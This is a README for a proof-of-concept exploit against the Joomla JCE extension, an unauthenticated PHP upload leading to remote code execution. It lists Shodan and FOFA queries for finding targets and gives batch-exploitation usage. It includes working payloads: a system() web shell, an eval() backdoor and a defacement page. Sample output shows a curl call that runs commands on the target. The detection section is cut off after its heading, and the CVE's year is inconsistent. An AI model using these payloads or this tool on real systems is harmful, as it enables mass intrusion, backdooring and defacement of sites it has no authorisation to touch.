---

🔎 Search Engine Queries

Shodan

http.component:"Joomla"

FOFA

app="Joomla"

📋 Overview

This repository contains a proof-of-concept (PoC) exploit for CVE-2026-48907, a critical vulnerability in the Joomla! JCE (Joomla Content Editor) extension versions prior to 2.9.99.5. The vulnerability allows unauthenticated attackers to upload arbitrary PHP files via the JCE profile import functionality, leading to Remote Code Execution (RCE).

⚠️ Disclaimer

This tool is for educational and authorized testing purposes only.

• Use only on systems you own or have explicit permission to test
• The author is not responsible for any misuse or illegal activities
• Always obtain proper authorization before testing

---

🔍 Vulnerability Details

Property	Value
CVE ID	CVE-2026-48907
Product	Joomla! JCE Extension
Affected Versions	< 2.9.99.5
Vulnerability Type	Unauthenticated PHP File Upload → RCE
CVSS Score	9.8 (Critical)
Attack Vector	Network
Authentication	None Required
Impact	Complete System Compromise

How It Works

1. CSRF Token Extraction: The exploit first extracts the CSRF token from the target's homepage
2. Profile Import Abuse: It leverages the JCE profile import functionality (index.php?option=com_jce&task=profiles.import)
3. PHP File Upload: Uploads a malicious PHP file disguised as a profile XML file
4. Code Execution: The uploaded PHP file is placed in the /tmp/ directory and can be executed via direct access

---

🚀 Features

• ✅ Upload Any PHP File: Upload custom PHP shells, backdoors, or deface pages (PHP-based)
• ✅ Batch Processing: Scan and exploit multiple targets from a file
• ✅ CSRF Token Auto-Detection: Automatically extracts CSRF tokens
• ✅ Verbose Mode: Detailed output for debugging
• ✅ Result Export: Save successful upload URLs to a file

---

📦 Installation

# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907

# Install required dependencies
pip3 install requests urllib3

Requirements

• Python 3.6 or higher
• requests library
• urllib3 library

---

🎯 Usage

Basic Syntax

python3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>

Examples

Upload a PHP Web Shell

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php

Upload a PHP Deface Page

python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php

Upload a PHP Backdoor

python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php

Batch Exploitation with Targets File

python3 CVE-2025-48907.py -f targets.txt -F payload.php

With Verbose Output & Results Saving

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt

Command Line Arguments

Argument	Required	Description
-u, --url	Yes*	Single target URL (e.g., http://target.com)
-f, --file	Yes*	File containing list of target URLs (one per line)
-F, --upload-file	Yes	PHP file to upload (shell, backdoor, deface page)
-v, --verbose	No	Enable verbose output for debugging
-o, --output	No	Save successful upload URLs to file

* Either -u or -f must be provided

Targets File Format

Create a targets.txt file with one URL per line:

http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Comments are ignored
https://example-joomla.com

---

🔧 Creating PHP Payloads

All payloads must be PHP files since the exploit uploads PHP code that will be executed on the server.

PHP Web Shell

Create shell.php:

<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "Usage: ?cmd=command";
}
?>

PHP Deface Page

Create deface.php:

<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
    <title>Hacked by 0xgh057r3c0n</title>
    <style>
        body {
            background: #000;
            color: #0f0;
            font-family: "Courier New", monospace;
            text-align: center;
            padding: 50px;
        }
        h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
        .ascii-art { white-space: pre; font-size: 12px; }
    </style>
</head>
<body>
    <h1>HACKED BY 0xgh057r3c0n</h1>
    <div class="ascii-art">
    ██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗ 
    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
    ███████║███████║██║     █████╔╝ █████╗  ██║  ██║
    ██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██║  ██║
    ██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██████╔╝
    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═════╝ 
    </div>
    <p>Security is not a product, it\'s a process.</p>
    <p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
    <p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>

PHP Backdoor (Minimal)

Create backdoor.php:

<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>

---

📊 Output Example

_____________   _______________         _______________   ________  ________            _____   ______  ________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/           /  |  | /  __  \/   __   \   _  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  /   |  |_>      <\____    /  /_\  \  /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ /    ^   /   --   \  /    /\  \_/   \/    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /         \____   |\______  / /____/  \_____  /____/  
        \/                  \/                  \/     \/         \/     \/               |__|       \/                \/

Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)

[*] Loaded 3 target(s)

[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...

============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================

[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
    curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"

---

🛡️ Detection & Mitigation

How to Detect